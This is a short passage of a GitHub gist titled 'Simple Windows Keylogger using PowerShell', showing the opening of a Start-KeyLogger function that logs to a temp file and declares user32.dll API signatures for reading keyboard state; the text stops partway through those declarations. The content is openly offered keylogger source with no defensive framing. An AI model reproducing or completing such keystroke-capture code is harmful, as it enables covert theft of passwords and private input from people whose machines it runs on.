Skip to content

Instantly share code, notes, and snippets.

@dasgoll
dasgoll / gist:7ca1c059dd3b3fbc7277
Created Dec 11, 2015
Simple Windows Keylogger using PowerShell
View gist:7ca1c059dd3b3fbc7277
#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]